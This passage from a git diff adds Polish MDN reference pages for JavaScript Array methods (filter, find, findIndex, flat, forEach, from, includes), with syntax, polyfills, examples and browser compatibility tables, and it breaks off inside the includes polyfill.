Zakres elementów przetwarzanych przez filter jest ustawiany przed pierwszym wywołaniem funkcji callback. Elementy dołączone do tablicy po momencie wywołania filter są testowane przez callback. Jeśli istniejące elementy tablicy są zmieniane lub usuwane, to wartość przesyłana do funkcji callback odpowiada wartości w momencie, w którym filter się o nie zwróci; metoda filter nie upomina się o elementy usunięte.

+ +

Kompatybilność

+ +

filter jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie filter w implementacji ECMA-262, które nie wspierają tego natywnie.

+ +
if (!Array.prototype.filter)
+{
+  Array.prototype.filter = function(fun /*, thisp*/)
+  {
+    var len = this.length;
+    if (typeof fun != "function")
+      throw new TypeError();
+
+    var res = new Array();
+    var thisp = arguments[1];
+    for (var i = 0; i < len; i++)
+    {
+      if (i in this)
+      {
+        var val = this[i]; // in case fun mutates this
+        if (fun.call(thisp, val, i, this))
+          res.push(val);
+      }
+    }
+
+    return res;
+  };
+}
+
+ +

Przykłady

+ +

Przykład: Odfiltrowanie wszystkich małych wartości

+ +

Poniższy przykład używa filter by utworzyć przefiltrowaną tablicę, z której usunięto wszystkie elementy których wartość wynosi mniej niż 10.

+ +
function isBigEnough(element, index, array) {
+  return (element >= 10);
+}
+filtered = [12, 5, 8, 130, 44].filter(isBigEnough);
+
+ +

Kompatybilność z przeglądarkami

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.8")}}{{CompatIE("9")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.8")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
diff --git a/files/pl/web/javascript/reference/global_objects/array/find/index.html b/files/pl/web/javascript/reference/global_objects/array/find/index.html new file mode 100644 index 0000000000..6e8d67373b --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/find/index.html @@ -0,0 +1,278 @@ +--- +title: Array.prototype.find() +slug: Web/JavaScript/Referencje/Obiekty/Array/find +tags: + - Array + - ECMAScript 2015 + - JavaScript + - Metodă + - Prototype + - Referencja + - Tablica + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/find +--- +

{{JSRef}}
+ Metoda find() zwraca pierwszy element tablicy, który spełnia warunek podanej funkcji testującej.

+ +
{{EmbedInteractiveExample("pages/js/array-find.html","shorter")}}
+ + + + + +

Składnia

+ +
arr.find(callback[, thisArg])
+ +

Parametry

+ +
+
callback
+
Funkcja do wykonania przy każdym elemencie tablicy, przyjmująca trzy wartości: +
+
element
+
Element obecnie przetwarzany przez funkcję.
+
index
+
Indeks obecnie przetwarzanego elementu.
+
array
+
Tablica, na której wywołano funkcję find.
+
+
+
thisArg
+
Opcjonalny. Obiekt, który będzie się znajdował pod this w czasie wykonywania funkcji callback.
+
+ +

Zwracana wartość

+ +

Wartość pierwszego elementu w tablicy, spełniającego warunek funkcji testującej.
+ W przeciwnym wypadku: {{jsxref("undefined")}}.

+ +

Opis

+ +

Metoda find wywołuje funkcję callback raz dla każdego indeksu tablicy, dopóki nie znajdzie takiego elementu, dla którego callback zwraca wartość true. Wówczas find natychmiast zwraca wartość tego elementu. W przeciwnym razie, gdy żaden z elementów nie spełni warunków funkcji testującej, find zwraca {{jsxref("undefined")}}.

+ +

callback jest wywoływany dla każdego indeksu tablicy, nie tylko tych z przypisanymi wartościami. Oznacza to, że może to być mniej efektywne w przypadku tablic rzadkich, w porównaniu z metodami, które odwiedzają jedynie indeksy z przypisanymi wartościami.

+ +

Jeśli parametr thisArgjest przekazany do find, będzie użyty jako wartość this w każdym wywołaniu callback. Jeśli parametr ten nie jest przekazany, używana jest wartość {{jsxref("undefined")}}.

+ +

Metoda find nie modyfikuje tablicy, na której jest wywoływana, ale może to robić funkcja przekazana do callback. Jeśli tak się stanie, elementy przetwarzane przez find są ustawiane przed pierwszym wywołaniem funkcji callback. Zatem:

+ + + +

Polyfill

+ +

Metoda ta została dodana do specyfikacji ECMAScript 2015 i może nie być jeszcze dostępna we wszystkich implementacjach języka JavaScript.  Niemniej jednak, możesz użyć polyfillArray.prototype.find z poniższym fragmentem kodu:

+ +
// https://tc39.github.io/ecma262/#sec-array.prototype.find
+if (!Array.prototype.find) {
+  Object.defineProperty(Array.prototype, 'find', {
+    value: function(predicate) {
+      // 1. Let O be ? ToObject(this value).
+      if (this == null) {
+        throw TypeError('"this" is null or not defined');
+      }
+
+      var o = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(O, "length")).
+      var len = o.length >>> 0;
+
+      // 3. If IsCallable(predicate) is false, throw a TypeError exception.
+      if (typeof predicate !== 'function') {
+        throw TypeError('predicate must be a function');
+      }
+
+      // 4. If thisArg was supplied, let T be thisArg; else let T be undefined.
+      var thisArg = arguments[1];
+
+      // 5. Let k be 0.
+      var k = 0;
+
+      // 6. Repeat, while k < len
+      while (k < len) {
+        // a. Let Pk be ! ToString(k).
+        // b. Let kValue be ? Get(O, Pk).
+        // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)).
+        // d. If testResult is true, return kValue.
+        var kValue = o[k];
+        if (predicate.call(thisArg, kValue, k, o)) {
+          return kValue;
+        }
+        // e. Increase k by 1.
+        k++;
+      }
+
+      // 7. Return undefined.
+      return undefined;
+    },
+    configurable: true,
+    writable: true
+  });
+}
+
+ +

Jeśli potrzebujesz wspierać naprawdę przestarzałe silniki JavaScript, które nie wspierająt Object.defineProperty, najlepiej w ogóle nie używać polyfill z Array.prototype, gdyż nie da się go uczynić niewyliczeniowym.

+ +

Przykłady

+ +

Wyszukiwanie obiektu w tablicy na podstawie jednej z jego własności

+ +
const inventory = [
+  {name: 'apples', quantity: 2},
+  {name: 'bananas', quantity: 0},
+  {name: 'cherries', quantity: 5}
+];
+
+function isCherries(fruit) {
+  return fruit.name === 'cherries';
+}
+
+console.log(inventory.find(isCherries));
+// { name: 'cherries', quantity: 5 }
+ +

Użycie funkcji strzałkowej i destrukturyzacja

+ +
const inventory = [
+  {name: 'apples', quantity: 2},
+  {name: 'bananas', quantity: 0},
+  {name: 'cherries', quantity: 5}
+];
+
+const result = inventory.find( ({ name }) => name === 'cherries' );
+
+console.log(result) // { name: 'cherries', quantity: 5 }
+ +

Wyszukiwanie liczby pierwszej w tablicy

+ +

Poniższy przykładowy kod znajduje element tablicy będący liczbą pierwszą (lub zwraca {{jsxref("undefined")}} jeśli w tablicy nie ma liczby pierwszej):

+ +
function czyPierwsza(element, indeks, tablica) {
+  let start = 2;
+  while (start <= Math.sqrt(element)) {
+    if (element % start++ < 1) {
+      return false;
+    }
+  }
+  return element > 1;
+}
+
+console.log([4, 6, 8, 12].find(czyPierwsza)); // undefined, nie znaleziono
+console.log([4, 5, 8, 12].find(czyPierwsza)); // 5
+
+ +

Poniższy przykład pokazuje, że nieistniejące i usunięte elementy odwiedzane, oraz że wartość przekazana do callback jest ich wartością, kiedy są odwiedzane:

+ +
// Zadeklaruj tablicę bez elementów przy indeksach 2, 3 i 4
+const array = [0,1,,,,5,6];
+
+// Pokazuje wszystkie indeksy, nie tylko te z przypisanymi wartościami
+array.find(function(value, index) {
+  console.log('Odwiedzono indeks ', index, ' z wartością ', value);
+});
+
+// Pokazuje wszystkie indeksy, włączając usunięte
+array.find(function(value, index) {
+  // Usuń element 5 w pierwszej iteracji
+  if (index === 0) {
+    console.log('Usuwanie array[5] z wartością ', array[5]);
+    delete array[5];
+  }
+  // Element 5 jest wciąż odwiedzany, choć został usunięty
+  console.log('Odwiedzono indeks ', index, ' z wartością ', value);
+});
+// Oczekiwane wyjście:
+// Usuwanie array[5] z wartością 5
+// Odwiedzono indeks 0 z wartością 0
+// Odwiedzono indeks 1 z wartością 1
+// Odwiedzono indeks 2 z wartością undefined
+// Odwiedzono indeks 3 z wartością undefined
+// Odwiedzono indeks 4 z wartością undefined
+// Odwiedzono indeks 5 z wartością undefined
+// Odwiedzono indeks 6 z wartością 6
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-array.prototype.find', 'Array.prototype.find')}}{{Spec2('ES2015')}}Pierwotna definicja.
+ +

Wsparcie przeglądarek

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("45.0")}}{{CompatGeckoDesktop("25.0")}}{{CompatNo}}{{CompatNo}}{{CompatSafari("7.1")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("25.0")}}{{CompatNo}}{{CompatNo}}iOS 8
+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/findindex/index.html b/files/pl/web/javascript/reference/global_objects/array/findindex/index.html new file mode 100644 index 0000000000..86a9cf67cf --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/findindex/index.html @@ -0,0 +1,214 @@ +--- +title: Array.prototype.findIndex() +slug: Web/JavaScript/Referencje/Obiekty/Array/findIndex +translation_of: Web/JavaScript/Reference/Global_Objects/Array/findIndex +--- +
{{JSRef}}
+ +

Metoda findIndex() zwraca indeks pierwszego elementu tablicy, który spełnia kryteria postawione w funkcji testującej. W przeciwnym wypadku zwraca -1.

+ +
function isBigEnough(element) {
+  return element >= 15;
+}
+
+[12, 5, 8, 130, 44].findIndex(isBigEnough);
+// zostanie zwrócony indeks czwartego elementu tablicy,
+// który wynosi 3
+ +

Zobacz także metodę {{jsxref("Array.find", "find()")}}, która zwraca wartość znalezionego elementu, zamiast jego indeksu.

+ +

Składnia

+ +
arr.findIndex(callback[, thisArg])
+ +

Parametry

+ +
+
callback
+
Funkcja wywoływana dla każdej wartości w tablicy, bierze trzy argumenty:
+
+
+
element
+
Obecnie przetwarzany element z tablicy.
+
index
+
Indeks obecnie przetwarzanego elementu z tablicy.
+
array
+
Tablica, na której została wywołana funkcja findIndex.
+
+
+
thisArg
+
Opcjonalny.  Obiekt do użycia jako this w czasie wykonywania callback.
+
+ +

Zwracana wartość

+ +

Indeks elementu tablicy, który pomyślnie przeszedł test, jeśli taki nie zostanie znaleziony, zwraca -1.

+ +

Opis

+ +

Metoda findIndex wykonuje funkcję callback dla każdego indeksu tablicy 0..długość - 1 (włącznie) w tablicy dopóki nie znajdzie tego, na którym funkcja callback zwróci prawdę. Jeśli taki element zostanie znaleziony, findIndex natychmiast zwraca indeks dla tej iteracji. Jeśli callback nigdy nie zwróci prawdy lub wielkość tablicy wynosi 0, findIndex zwróci -1. W przeciwieństwie do innych metod tablicowych takich jak Array#some, w tablicach rzadkich callback jest wywoływany nawet dla indeksów niewystępujących w tablicy.

+ +

callback jest wywoływany z trzema argumentami: wartością elementu, indeksem elementu i przetwarzaną tablicą.

+ +

Jeśli thisArg jest dołączony do findIndex, zostanie użyty jako this dla każdego wywołania . Jeśli nie, zostanie użyte {{jsxref("undefined")}}.

+ +

findIndex nie zmienia tablicy na której jest wywoływany.

+ +

Zakres elementów przetwarzanych przez findIndex jest ustawiany przed pierwszym wywołaniem funkcji callback. Elementy, które są dodane po rozpoczęciu wywołania funkcji findIndex nie będą przetworzone przez callback. Jeśli istniejący, nieodwiedzony element tablicy zostanie zmieniony przez callback, jego wartość przekazana do odwiedzającego callback będzie tą wartością z momentu, w którym findIndex odwiedzi indeks tego elementu, elementy usunięte, nie będą odwiedzone.

+ +

Przykłady

+ +

Znajdź indeks liczby pierwszej w tablicy

+ +

Poniższy przykład znajduje indeks elementu w tablicy, który jest liczbą pierwszą (lub zwraca -1 jeśli nie w tablicy nie ma liczby pierwszej).

+ +
function isPrime(element, index, array) {
+  var start = 2;
+  while (start <= Math.sqrt(element)) {
+    if (element % start++ < 1) {
+      return false;
+    }
+  }
+  return element > 1;
+}
+
+console.log([4, 6, 8, 12].findIndex(isPrime)); // -1, nie znaleziono
+console.log([4, 6, 7, 12].findIndex(isPrime)); // 2
+
+ +

Polyfill

+ +
// https://tc39.github.io/ecma262/#sec-array.prototype.findIndex
+if (!Array.prototype.findIndex) {
+  Object.defineProperty(Array.prototype, 'findIndex', {
+    value: function(predicate) {
+     // 1. Let O be ? ToObject(this value).
+      if (this == null) {
+        throw new TypeError('"this" ma wartość null lub undefined');
+      }
+
+      var o = Object(this);
+
+      // 2. Niech len będzie ? ToLength(? Get(O, "length")).
+      var len = o.length >>> 0;
+
+      // 3. Jeśli IsCallable(predicate) jest fałszem, rzuć wyjątek TypeError.
+      if (typeof predicate !== 'function') {
+        throw new TypeError('predykat musi być funkcją');
+      }
+
+      // 4. Jeśli thisArg został podany, niech T będzie thisArg; w przeciwnym wypadku, niech T będzie undefined.
+      var thisArg = arguments[1];
+
+      // 5. Let k be 0.
+      var k = 0;
+
+      // 6. Powtarzaj, dopóki k < len
+      while (k < len) {
+        // a. Niech Pk będzie ! ToString(k).
+        // b. Niech kValue będzie ? Get(O, Pk).
+        // c. Niech testResult będzie ToBoolean(? Call(predicate, T, « kValue, k, O »)).
+        // d. Jeśli testResult jest prawdą, zwróć k.
+        var kValue = o[k];
+        if (predicate.call(thisArg, kValue, k, o)) {
+          return k;
+        }
+        // e. Zwiększ wartość k o 1.
+        k++;
+      }
+
+      // 7. Return -1.
+      return -1;
+    }
+  });
+}
+
+ +

Jeśli musisz wspierać naprawdę przestarzałe silniki JavaScript, które nie wspierają Object.defineProperty, najlepiej nie korzystać z metod Array.prototype  w ogóle, ponieważ nie można sprawić by były niepoliczalne.

+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusKomentarz
{{SpecName('ES2015', '#sec-array.prototype.findindex', 'Array.prototype.findIndex')}}{{Spec2('ES2015')}}Podstawowa definicja.
{{SpecName('ESDraft', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność przeglądarek

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerEdgeOperaSafari
Basic support{{CompatChrome(45.0)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("25.0")}}{{CompatNo}}TakTak{{CompatSafari("7.1")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}45.0{{CompatVersionUnknown}}{{CompatGeckoMobile("25.0")}}{{CompatNo}}{{CompatNo}}8.0
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/flat/index.html b/files/pl/web/javascript/reference/global_objects/array/flat/index.html new file mode 100644 index 0000000000..3c8de3a43c --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/flat/index.html @@ -0,0 +1,173 @@ +--- +title: Array.prototype.flat() +slug: Web/JavaScript/Referencje/Obiekty/Array/flat +translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat +--- +
{{JSRef}}
+ +
+ +

Metoda flat() tworzy nową tablicę ze wszystkich elementów, które są podtablicami, łącząc je rekursyjnie z podanym parametrem jak głęboko powinno nastąpić spłaszczenie.

+ + + + + +

Składnia

+ +
var newArray = arr.flat([depth]);
+ +

Parametry

+ +
+
depth {{optional_inline}}
+
Parametr ten określa jak głęboko zagnieżdżona tablica powinna być spłaszczona. Wartość domyślna to 1.
+
+ +

Zwracana wartość

+ +

Nowa tablica składająca się z połączonych elementów podtablic.

+ +

Przykłady

+ +

Spłaszczanie zagnieżdżonych tablic

+ +
var arr1 = [1, 2, [3, 4]];
+arr1.flat();
+// [1, 2, 3, 4]
+
+var arr2 = [1, 2, [3, 4, [5, 6]]];
+arr2.flat();
+// [1, 2, 3, 4, [5, 6]]
+
+var arr3 = [1, 2, [3, 4, [5, 6]]];
+arr3.flat(2);
+// [1, 2, 3, 4, 5, 6]
+
+ +

Spłaszczanie i puste miejsca tablicy

+ +

Metoda flat() usuwa puste miejsca w tablicy:

+ +
var arr4 = [1, 2, , 4, 5];
+arr4.flat();
+// [1, 2, 4, 5]
+
+ +

Alternatywa

+ +

reduce i concat

+ +
var arr1 = [1, 2, [3, 4]];
+arr1.flat();
+
+//to flat single level array
+arr1.reduce((acc, val) => acc.concat(val), []);// [1, 2, 3, 4]
+
+//or
+const flatSingle = arr => [].concat(...arr);
+
+ + + +
//to enable deep level flatten use recursion with reduce and concat
+var arr1 = [1,2,3,[1,2,3,4, [2,3,4]]];
+
+function flattenDeep(arr1) {
+   return arr1.reduce((acc, val) => Array.isArray(val) ? acc.concat(flattenDeep(val)) : acc.concat(val), []);
+}
+flattenDeep(arr1);// [1, 2, 3, 1, 2, 3, 4, 2, 3, 4]
+
+ + + +
//non recursive flatten deep using a stack
+var arr1 = [1,2,3,[1,2,3,4, [2,3,4]]];
+function flatten(input) {
+  const stack = [...input];
+  const res = [];
+  while (stack.length) {
+    // pop value from stack
+    const next = stack.pop();
+    if (Array.isArray(next)) {
+      // push back array items, won't modify the original input
+      stack.push(...next);
+    } else {
+      res.push(next);
+    }
+  }
+  //reverse to restore input order
+  return res.reverse();
+}
+flatten(arr1);// [1, 2, 3, 1, 2, 3, 4, 2, 3, 4]
+
+ + + +
//recursive flatten deep
+function flatten(array) {
+  var flattend = [];
+  !(function flat(array) {
+    array.forEach(function(el) {
+      if (Array.isArray(el)) flat(el);
+      else flattend.push(el);
+    });
+  })(array);
+  return flattend;
+}
+
+ + + +

Polyfill

+ +
if (!Array.prototype.flat) {
+  Array.prototype.flat = function(depth) {
+    var flattend = [];
+    (function flat(array, depth) {
+      for (let el of array) {
+        if (Array.isArray(el) && depth > 0) {
+          flat(el, depth - 1);
+        } else {
+          flattend.push(el);
+        }
+      }
+    })(this, Math.floor(depth) || 1);
+    return flattend;
+  };
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
Array.prototype.flat proposalFinished (4)
+ +

Browser compatibility

+ +
+ + +

{{Compat("javascript.builtins.Array.flat")}}

+
+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/foreach/index.html b/files/pl/web/javascript/reference/global_objects/array/foreach/index.html new file mode 100644 index 0000000000..6968498311 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/foreach/index.html @@ -0,0 +1,104 @@ +--- +title: Array.prototype.forEach() +slug: Web/JavaScript/Referencje/Obiekty/Array/forEach +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach +--- +
{{JSRef("Global_Objects", "Array")}}
+ +

Podsumowanie

+ +

Wykonuje dostarczoną funkcję jeden raz na każdy element tablicy.

+ +

Składnia

+ +
arr.forEach(callback[, thisArg])
+ +

Parametry

+ +
+
callback
+
Funkcja wykonywana dla każdego elementu.
+
thisArg
+
Obiekt na który będzie wskazywał this, gdy wykonana zostanie funkcja zwrotna callback.
+
+ +

Opis

+ +

Metoda forEach wykonuje dostarczoną funkcje callback raz dla każdego elementu tablicy. Funkcja callback wywoływana jest jedynie dla indeksów tablicy, którym została przypisana wartość; nie jest wywoływana dla indeksów, które zostały usunięte i tych, którym nigdy nie została przypisana żadna wartość.

+ +

Funkcja callback jest wywoływana z trzema argumentami: wartością elementu, jego indeksem i obiektem tablicy, w którym się ten element zawiera.

+ +

Jeśli parametr thisArg został dostarczony do metody forEach, będzie on wskazywany przez this dla każdego wywołania funkcji callback. W przypadku, gdy nie został on przekazany lub jego wartość jest równa null, this będzie się odnosić do obiektu globalnego połączonego z funkcją callback.

+ +

Metoda forEach nie modyfikuje tablicy na której jest wywołana.

+ +

Zakres elementów przetwarzanych przez forEach jest ustawiany przed pierwszym wywołaniem funkcji callback. Elementy dołączone do końca tablicy po momencie wywołania forEach nie są przesyłane do funkcji callback. Jeśli istniejące elementy tablicy są zmieniane lub usuwane, to wartość przesyłana do funkcji callback odpowiada wartości w momencie, w którym forEach się o nie zwróci; elementy usunięte zanim zostaną odwiedzone nie zostaną odwiedzone. Jeżeli element już odwiedzony zostanie usunięty (nastąpi skrócenie tablicy), element tablicy w kolejności po obecnie odwiedzanym zostanie pominięty.

+ +

Kompatybilność

+ +

forEach jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie forEach w implementacji ECMA-262, które nie wspierają tego natywnie.

+ +
if (!Array.prototype.forEach)
+{
+  Array.prototype.forEach = function(fun /*, thisp*/)
+  {
+    var len = this.length;
+    if (typeof fun != "function")
+      throw new TypeError();
+
+    var thisp = arguments[1];
+    for (var i = 0; i < len; i++)
+    {
+      if (i in this)
+        fun.call(thisp, this[i], i, this);
+    }
+  };
+}
+
+ +

Przykłady

+ +

Przykład: Drukowanie zawartości tablicy

+ +

Następujący kod drukuje linie dla każdego elementu w tablicy (i przyjmuje obecność funkcji print do wywołania!):

+ +
function printElt(element, index, array) {
+    print("[" + index + "] jest " + element);
+}
+[2, 5, 9].forEach(printElt);
+// Wydrukuje:
+// [0] jest 2
+// [1] jest 5
+// [2] jest 9
+
+ +

Przykład: Drukowanie zawartości tablicy z metodą obiektu

+ +

Następujący kod tworzy prosty obiekt wypisujący i następnie stosuje metodę writeln do wypisania jednej linii na element w tablicy (przyjmuje obecność funkcji print do wywołania!):

+ +
var writer = {
+    sb:       [],
+    write:    function (s) {
+        this.sb.push(s);
+    },
+    writeln:  function (s) {
+        this.write(s + "\n");
+    },
+    toString: function () {
+        return this.sb.join("");
+    }
+};
+
+[2, 5, 9].forEach(writer.writeln, writer);
+print(writer.toString());
+
+// Wydrukuje:
+// 2
+// 5
+// 9
+
diff --git a/files/pl/web/javascript/reference/global_objects/array/from/index.html b/files/pl/web/javascript/reference/global_objects/array/from/index.html new file mode 100644 index 0000000000..bd5f0294de --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/from/index.html @@ -0,0 +1,248 @@ +--- +title: Array.from() +slug: Web/JavaScript/Referencje/Obiekty/Array/from +translation_of: Web/JavaScript/Reference/Global_Objects/Array/from +--- +
{{JSRef}}
+ +

Array.from()  metoda tworzy nową instację tablicy z obiektu podobnego do tablicy lub obiektu iterowalnego.

+ +

W ES2015, składania klas dopuszcza dziedziczenie obu rodzajów klas: wbudowanych oraz zdefiniowanych przez programistę; w rezultacie, statyczne metody jak Array.from są "dziedziczone" przez klasę pochodną i tworzą nową instancję klasy pochodnej, a nie klasy Array.

+ +

Składnia

+ +
Array.from(arrayLike[, mapFn[, thisArg]])
+
+ +

Argumenty

+ +
+
arrayLike
+
Obiekt podobny do tablicy lub iterowalny.
+
mapFn
+
Opcjonalny. Funkcja mapująca wywoływany z każdym elementem tablicy.
+
thisArg
+
Opcjonalny. Wartość używana jako this podczas wykonywania mapFn.
+
+ +

Opis

+ +

Array.from() pozwala tworzyć tablicę z:

+ + + +

Array.from() has an optional parameter mapFn, which allows you to execute a {{jsxref("Array.prototype.map", "map")}} function on each element of the array (or subclass object) that is being created. More clearly, Array.from(obj, mapFn, thisArg) is the same as Array.from(obj).map(mapFn, thisArg), except that it does not create an intermediate array. This is especially important for certain array subclasses, like typed arrays, since the intermediate array would necessarily have values truncated to fit into the appropriate type.

+ +

The length property of the from() method is 1.

+ +

Przykłady

+ +
// Array-like object (arguments) to Array
+function f() {
+  return Array.from(arguments);
+}
+
+f(1, 2, 3);
+// [1, 2, 3]
+
+
+// Any iterable object...
+// Set
+var s = new Set(["foo", window]);
+Array.from(s);
+// ["foo", window]
+
+
+// Map
+var m = new Map([[1, 2], [2, 4], [4, 8]]);
+Array.from(m);
+// [[1, 2], [2, 4], [4, 8]]
+
+
+// String
+Array.from("foo");
+// ["f", "o", "o"]
+
+
+// Using an arrow function as the map function to
+// manipulate the elements
+Array.from([1, 2, 3], x => x + x);
+// [2, 4, 6]
+
+
+// Generate a sequence of numbers
+Array.from({length: 5}, (v, k) => k);
+// [0, 1, 2, 3, 4]
+
+
+ +

Polyfill

+ +

Array.from was added to the ECMA-262 standard in the 6th edition; as such it may not be present in other implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of Array.from in implementations that don't natively support it.  This algorithm is exactly the one specified in ECMA-262, 6th edition, assuming Object and TypeError have their original values and that callback.call evaluates to the original value of {{jsxref("Function.prototype.call")}}. In addition, since true iterables can not be polyfilled, this implementation does not support generic iterables as defined in the 6th edition of ECMA-262.

+ +
// Production steps of ECMA-262, Edition 6, 22.1.2.1
+// Reference: https://people.mozilla.org/~jorendorff/es6-draft.html#sec-array.from
+if (!Array.from) {
+  Array.from = (function () {
+    var toStr = Object.prototype.toString;
+    var isCallable = function (fn) {
+      return typeof fn === 'function' || toStr.call(fn) === '[object Function]';
+    };
+    var toInteger = function (value) {
+      var number = Number(value);
+      if (isNaN(number)) { return 0; }
+      if (number === 0 || !isFinite(number)) { return number; }
+      return (number > 0 ? 1 : -1) * Math.floor(Math.abs(number));
+    };
+    var maxSafeInteger = Math.pow(2, 53) - 1;
+    var toLength = function (value) {
+      var len = toInteger(value);
+      return Math.min(Math.max(len, 0), maxSafeInteger);
+    };
+
+    // The length property of the from method is 1.
+    return function from(arrayLike/*, mapFn, thisArg */) {
+      // 1. Let C be the this value.
+      var C = this;
+
+      // 2. Let items be ToObject(arrayLike).
+      var items = Object(arrayLike);
+
+      // 3. ReturnIfAbrupt(items).
+      if (arrayLike == null) {
+        throw new TypeError("Array.from requires an array-like object - not null or undefined");
+      }
+
+      // 4. If mapfn is undefined, then let mapping be false.
+      var mapFn = arguments.length > 1 ? arguments[1] : void undefined;
+      var T;
+      if (typeof mapFn !== 'undefined') {
+        // 5. else
+        // 5. a If IsCallable(mapfn) is false, throw a TypeError exception.
+        if (!isCallable(mapFn)) {
+          throw new TypeError('Array.from: when provided, the second argument must be a function');
+        }
+
+        // 5. b. If thisArg was supplied, let T be thisArg; else let T be undefined.
+        if (arguments.length > 2) {
+          T = arguments[2];
+        }
+      }
+
+      // 10. Let lenValue be Get(items, "length").
+      // 11. Let len be ToLength(lenValue).
+      var len = toLength(items.length);
+
+      // 13. If IsConstructor(C) is true, then
+      // 13. a. Let A be the result of calling the [[Construct]] internal method of C with an argument list containing the single item len.
+      // 14. a. Else, Let A be ArrayCreate(len).
+      var A = isCallable(C) ? Object(new C(len)) : new Array(len);
+
+      // 16. Let k be 0.
+      var k = 0;
+      // 17. Repeat, while k < len… (also steps a - h)
+      var kValue;
+      while (k < len) {
+        kValue = items[k];
+        if (mapFn) {
+          A[k] = typeof T === 'undefined' ? mapFn(kValue, k) : mapFn.call(T, kValue, k);
+        } else {
+          A[k] = kValue;
+        }
+        k += 1;
+      }
+      // 18. Let putStatus be Put(A, "length", len, true).
+      A.length = len;
+      // 20. Return A.
+      return A;
+    };
+  }());
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-array.from', 'Array.from')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-array.from', 'Array.from')}}{{Spec2('ESDraft')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)EdgeInternet ExplorerOperaSafari
Basic support{{CompatChrome("45")}}{{CompatGeckoDesktop("32")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}9.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("32")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/global_objects/array/includes/index.html b/files/pl/web/javascript/reference/global_objects/array/includes/index.html new file mode 100644 index 0000000000..526e660571 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/array/includes/index.html @@ -0,0 +1,110 @@ +--- +title: Array.prototype.includes() +slug: Web/JavaScript/Referencje/Obiekty/Array/includes +translation_of: Web/JavaScript/Reference/Global_Objects/Array/includes +--- +
{{JSRef}}
+ +

Metoda includes() ustala czy dana tablica posiada szukany element, zwracając true lub false.

+ +

Składnia

+ +
var boolean = array.includes(searchElement[, fromIndex])
+ +

Zwraca

+ +

{{jsxref("Boolean")}}.

+ +

Parametry

+ +
+
searchElement
+
Szukany element.
+
fromIndex
+
Opcjonalne. Jest to pozycja w tablicy, od której rozpoczyna się szukanie elementu searchElement. Ujemna wartość przeszukuje tablicę od końca tablicy. Domyślna wartość wynosi 0.
+
+ +

Przykłady

+ +
[1, 2, 3].includes(2);     // true
+[1, 2, 3].includes(4);     // false
+[1, 2, 3].includes(3, 3);  // false
+[1, 2, 3].includes(3, -1); // true
+[1, 2, NaN].includes(NaN); // true
+
+ +

Polyfill

+ +
if (!Array.prototype.includes) {
+  Array.prototype.includes = function(searchElement /*, fromIndex*/ ) {
+    'use strict';
+    var O = Object(this);
+    var len = parseInt(O.length) || 0;
+    if (len === 0) {
+      return false;
+    }
+    var n = parseInt(arguments[1]) || 0;
